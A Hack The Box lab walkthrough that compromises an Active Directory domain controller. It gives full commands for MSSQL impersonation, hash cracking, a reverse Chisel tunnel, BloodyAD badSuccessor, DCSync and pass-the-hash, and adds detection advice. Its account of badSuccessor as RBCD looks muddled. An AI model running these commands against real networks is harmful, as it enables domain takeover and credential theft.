Attack Chain Overview
Nmap → MSSQL on port 1433
↓
Login as kevin → IMPERSONATE appdev
↓
Access financial_planner DB → extract PBKDF2 hashes
↓
Crack hashes → lateral movement to adam.scott
↓
Evil-WinRM → Chisel SOCKS proxy (tunnel Kerberos traffic)
↓
BloodyAD badSuccessor → create machine account htb-dmsa$
↓
getST.py → Kerberos TGS for CIFS/DC01
↓
secretsdump.py → dump all NTLM hashes
↓
Pass-the-Hash → psexec as NT AUTHORITY\SYSTEMPhase 1 — Reconnaissance
Nmap Scan
nmap -Pn 10.10.11.95 -p80,1433,5985 -sV -sCPORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS 10.0 (http://eighteen.htb)
1433/tcp open ms-sql-s Microsoft SQL Server 2022 RTM (16.00.1000.00)
5985/tcp open http Microsoft HTTPAPI 2.0 (WinRM)Key observations:
- Port 1433 (MSSQL) — SQL Server exposed externally is immediately interesting. It's a common foothold in Windows environments because it supports OS-level commands via
xp_cmdshelland often has misconfigured impersonation privileges. - Port 5985 (WinRM) — If you get valid credentials, this gives you a PowerShell remote shell via
evil-winrm. No need for RDP. - Clock skew: +6h58m33s — This is critical. Kerberos authentication requires clocks to be within 5 minutes of each other. If you plan Kerberos-based attacks later, you must sync your Kali clock to the DC's time or all Kerberos requests will fail with
KRB_AP_ERR_SKEW.
Why this target is a DC: The hostname DC01.eighteen.htb and the presence of Kerberos-dependent services confirm this is a Domain Controller — the most valuable target in any Active Directory environment.
Phase 2 — Initial Access via MSSQL
Credentials Discovery
Initial credentials obtained through web enumeration:
Username: kevin
Password: iNa2we6haRj2gaw!Connect to MSSQL
mssqlclient.py kevin:'iNa2we6haRj2gaw!'@10.10.11.95Why Impacket's mssqlclient? It handles MSSQL authentication cleanly from Linux and gives you an interactive SQL shell. It supports both Windows Authentication (domain accounts) and SQL Authentication (local SQL accounts).
Phase 3 — MSSQL Enumeration & Privilege Escalation
Check Impersonation Privileges
One of the first things to check in MSSQL is whether your current login can impersonate other SQL logins. This is a misconfiguration where a developer grants IMPERSONATE on a more privileged account — often to a service account or developer user.
SELECT grantor_principal.name AS grantor,
grantee_principal.name AS grantee,
perm.permission_name,
perm.class_desc
FROM sys.server_permissions AS perm
JOIN sys.server_principals AS grantor_principal
ON perm.grantor_principal_id = grantor_principal.principal_id
JOIN sys.server_principals AS grantee_principal
ON perm.grantee_principal_id = grantee_principal.principal_id
WHERE perm.permission_name = 'IMPERSONATE';Result: kevin can impersonate appdev.
Why this matters: The EXECUTE AS LOGIN statement lets you switch your SQL Server identity to another login. If appdev has access to databases or tables that kevin doesn't, you now inherit all of those permissions — no credentials needed.
Impersonate appdev
EXECUTE AS LOGIN = 'appdev';
SELECT SYSTEM_USER, USER_NAME();Access the Financial Planner Database
USE financial_planner;
SELECT username, password_hash FROM users WHERE is_admin=1;Retrieved hashes:
admin: pbkdf2:sha256:600000$TcPhSHQ3XAViIsnu$771de21cde20b6175d87f784bb5e12a9f19d8dd7c660885c068a762b6a0b2c12
test: pbkdf2:sha256:600000$SAoHctODQGIUSAcP$2beb22515f34205d3e52e501f0424e9217229ff8e9e96fdeadb26bae544b714bWhy PBKDF2-SHA256 is harder to crack than NTLM: PBKDF2 is intentionally slow — it runs the hash function 600,000 times. This means a GPU that can crack billions of NTLM hashes per second is slowed to thousands per second for PBKDF2. The salt ($TcPhSHQ3XAViIsnu$) prevents rainbow table attacks. You need hashcat with mode -m 10900 and a targeted wordlist.
hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txtPhase 4 — Domain User Enumeration
RID Brute Force via NetExec
With valid MSSQL credentials, you can abuse the SQL Server's domain membership to enumerate domain accounts via RID cycling — even without a domain shell.
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --rid-bruteWhy RID brute works: Every Windows account has a Security Identifier (SID). The last part is the RID (Relative Identifier). Built-in accounts have well-known RIDs (Administrator=500, Guest=501), domain accounts start at 1000. By iterating RIDs and resolving them via the MSSQL server's domain connection, you enumerate all accounts without needing LDAP access.
Key users discovered:
EIGHTEEN\mssqlsvc (service account)
EIGHTEEN\jamie.dunn
EIGHTEEN\adam.scott
EIGHTEEN\DC01$ (computer account)Note: RID brute often times out on HTB around RID 1612. If you hit a timeout, rerun with
--rid-brute 2000to cover more accounts.
Phase 5 — Lateral Movement to adam.scott
Through cracking the PBKDF2 hashes, credentials for adam.scott were obtained:
Username: adam.scott
Password: iloveyou1Why password reuse matters here: The financial planner database stored hashed web app passwords. Users frequently reuse passwords across web apps and domain accounts. Cracking app hashes and trying them against domain accounts is a standard lateral movement step.
evil-winrm -i 10.10.11.95 -u adam.scott -p 'iloveyou1'User Flag
type C:\Users\adam.scott\Desktop\user.txtPhase 6 — Privilege Escalation via badSuccessor (RBCD)
Why This Needs a Tunnel First
Kerberos traffic needs to reach the DC directly. Operating through a compromised host, we set up a SOCKS proxy using Chisel so Impacket tools on Kali can send Kerberos requests through the victim machine.
Step 1 — Setup Chisel SOCKS Proxy
On Kali:
./chisel server -p 9001 --reverse --socks5On victim (Evil-WinRM shell):
.\chisel.exe client <KALI_IP>:9001 R:socksAdd to /etc/proxychains4.conf:
socks5 127.0.0.1 1080Why Chisel? It creates an encrypted TCP tunnel. The R:socks flag tells the client to expose a reverse SOCKS5 proxy on the server side. All tools prefixed with proxychains route through this tunnel to the internal network.
Step 2 — Sync Kali Clock to DC
Kerberos will reject tickets if the clock difference exceeds 5 minutes.
# On victim — check DC time
(Get-Date).ToUniversalTime()# On Kali — set to match
sudo date -u MMDDhhmmYYYY
# Format: MM=month, DD=day, hh=hour, mm=minute, YYYY=yearGet this wrong and every Kerberos request will fail silently.
Step 3 — badSuccessor Attack (RBCD)
What is RBCD? Resource-Based Constrained Delegation allows a computer account to be configured to trust specific other accounts to impersonate any user to its services. If you can write to a computer account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, you can make it trust a machine account you control — then request Kerberos tickets impersonating any user (including Domain Admin) to services on that computer.
What is badSuccessor? It's a specific technique using BloodyAD's add badSuccessor command to create a new machine account and configure the RBCD relationship in one step. This works when adam.scott has sufficient rights on the DC computer object.
proxychains bloodyAD -d eighteen.htb -u adam.scott -p 'iloveyou1' \
--host dc01.eighteen.htb add badSuccessor htb-dmsaWhat this does:
- Creates a new machine account
htb-dmsa$in the domain - Configures DC01's
msDS-AllowedToActOnBehalfOfOtherIdentityto trusthtb-dmsa$ - This means
htb-dmsa$can now request Kerberos service tickets impersonating any user to DC01's services
Step 4 — Request Kerberos Service Ticket
export KRB5CCNAME=$PWD/htb-dmsa_ts.ccache
proxychains python3 getST.py -k -no-pass \
-spn cifs/dc01.eighteen.htb eighteen.htb/htb-dmsa$What getST.py does: Requests a Kerberos TGS (service ticket) for the cifs/dc01.eighteen.htb SPN. Because RBCD is configured to trust htb-dmsa$, Kerberos issues a ticket that lets us access CIFS (SMB file shares) on DC01 as any user — we'll use this to impersonate Administrator.
Why CIFS? SMB/CIFS is the protocol that secretsdump.py uses to remotely read the NTDS.dit database.
Step 5 — DCSync / Secrets Dump
export KRB5CCNAME=$PWD/htb-dmsa_ts.ccache
proxychains python3 secretsdump.py -k -no-pass htb-dmsa\$@dc01.eighteen.htbWhat secretsdump does: Connects to DC01 via SMB using the Kerberos ticket, then remotely reads the NTDS.dit Active Directory database and SYSTEM registry hive to extract NTLM password hashes for every domain account. This is called a DCSync attack — it mimics the replication protocol that Domain Controllers use to sync with each other.
Why this gives you everything: The NTDS.dit database contains the NTLM hash of every domain account password. NTLM hashes can be used directly for Pass-the-Hash attacks — no cracking needed.
Step 6 — Pass-the-Hash to SYSTEM
proxychains impacket-psexec administrator@dc01.eighteen.htb -hashes :<NTLM_HASH>Why Pass-the-Hash works: Windows NTLM authentication doesn't require the plaintext password — it only needs the hash. psexec authenticates to the SMB service using the Administrator's NTLM hash directly, uploads a service binary, and executes it as SYSTEM.
Root Flag
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txtWhat Went Wrong Along the Way
Clock sync: Kerberos errors are cryptic and almost always caused by time skew. Building the clock sync habit early saves enormous debugging time. If you see KRB_AP_ERR_SKEW, check the time before anything else.
Proxychains verification: When setting up proxychains, verify the tunnel works before attempting Kerberos operations — proxychains curl http://dc01.eighteen.htb should return something.
PBKDF2 cracking speed: Moved too slowly from MSSQL to hash cracking. The hashes in the database were the direct path to lateral movement. Don't overthink what else might be in MSSQL before cracking what you already have.
Key Commands Reference
# Nmap
nmap -Pn 10.10.11.95 -p80,1433,5985 -sV -sC
# MSSQL access
mssqlclient.py kevin:'iNa2we6haRj2gaw!'@10.10.11.95
# Check MSSQL impersonation privileges
# (run in mssqlclient SQL shell - see query above)
# RID brute force
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute
# Hash cracking
hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt
# Evil-WinRM
evil-winrm -i 10.10.11.95 -u adam.scott -p 'iloveyou1'
# Chisel tunnel (Kali)
./chisel server -p 9001 --reverse --socks5
# Chisel client (victim)
.\chisel.exe client <KALI_IP>:9001 R:socks
# Sync clock
sudo date -u MMDDhhmmYYYY
# badSuccessor RBCD
proxychains bloodyAD -d eighteen.htb -u adam.scott -p 'iloveyou1' \
--host dc01.eighteen.htb add badSuccessor htb-dmsa
# Request Kerberos ticket
export KRB5CCNAME=$PWD/htb-dmsa_ts.ccache
proxychains python3 getST.py -k -no-pass -spn cifs/dc01.eighteen.htb eighteen.htb/htb-dmsa$
# DCSync
proxychains python3 secretsdump.py -k -no-pass htb-dmsa\$@dc01.eighteen.htb
# Pass-the-Hash
proxychains impacket-psexec administrator@dc01.eighteen.htb -hashes :<NTLM_HASH>Lessons Learned
What Worked Well
- Checking IMPERSONATE privileges early in MSSQL — this is often overlooked but is a very common misconfiguration. Always run the impersonation query as your first enumeration step in any MSSQL foothold.
- RID brute via MSSQL is a clean way to enumerate domain users without needing LDAP access or a domain shell — very useful when you only have a SQL foothold.
- Clock sync before Kerberos attacks — building this habit early saves enormous debugging time.
What to Do Faster Next Time
- Move faster from MSSQL to hash cracking — the PBKDF2 hashes were the direct path to lateral movement.
- When setting up proxychains, verify the tunnel works before attempting Kerberos operations.
Detection & Defense
How to detect this attack:
- Alert on new machine account creation (especially accounts created by non-admin users)
- Monitor for modifications to
msDS-AllowedToActOnBehalfOfOtherIdentityon high-value computer objects like DCs - Alert on DCSync-style replication requests from non-DC accounts (Windows Event ID 4662 with GUID for
DS-Replication-Get-Changes-All) - Monitor for NTLM Pass-the-Hash lateral movement (Event ID 4624 with LogonType 3 and NTLMv2)
How to prevent it:
- Restrict
IMPERSONATEgrants in MSSQL — service accounts should not be impersonatable by regular users - Never store plaintext-equivalent passwords in application databases
- Implement Protected Users security group for privileged accounts — blocks NTLM and weak Kerberos encryption
- Enable Credential Guard to prevent Pass-the-Hash
- Audit and restrict
GenericWritepermissions on computer objects — especially on Domain Controllers - Keep SQL Server accounts with minimal domain privileges
Technique Summary
| Technique | Why It Worked |
|---|---|
| MSSQL IMPERSONATE | kevin was granted IMPERSONATE on appdev — a misconfigured SQL permission |
| PBKDF2 hash cracking | Hashes stored in app DB with weak password (iloveyou1) in rockyou.txt |
| RID brute force | MSSQL server had domain trust, allowing SID/RID resolution without LDAP |
| Password reuse | App DB password matched domain account password for adam.scott |
| badSuccessor RBCD | adam.scott had sufficient rights to modify DC01's delegation attributes |
| Kerberos TGS request | RBCD configuration allowed htb-dmsa$ to impersonate any user to DC01's CIFS service |
| DCSync | Valid CIFS ticket + secretsdump = full NTDS.dit dump |
| Pass-the-Hash | NTLM hash used directly for authentication — no plaintext password needed |
CVE Summary
No CVEs exploited — all techniques abused misconfigurations.
Tools Used
| Tool | Purpose |
|---|---|
| Nmap | Port scan and service fingerprinting |
| Impacket mssqlclient | Interactive MSSQL shell from Linux |
| NetExec (nxc) | RID brute force via MSSQL |
| Hashcat | Crack PBKDF2-SHA256 hashes (-m 10900) |
| Evil-WinRM | PowerShell remote shell via WinRM |
| Chisel | TCP tunneling / SOCKS5 proxy |
| BloodyAD | badSuccessor RBCD attack |
| Impacket getST.py | Request Kerberos service tickets |
| Impacket secretsdump.py | DCSync / dump NTDS.dit hashes |
| Impacket psexec.py | Pass-the-Hash → SYSTEM shell |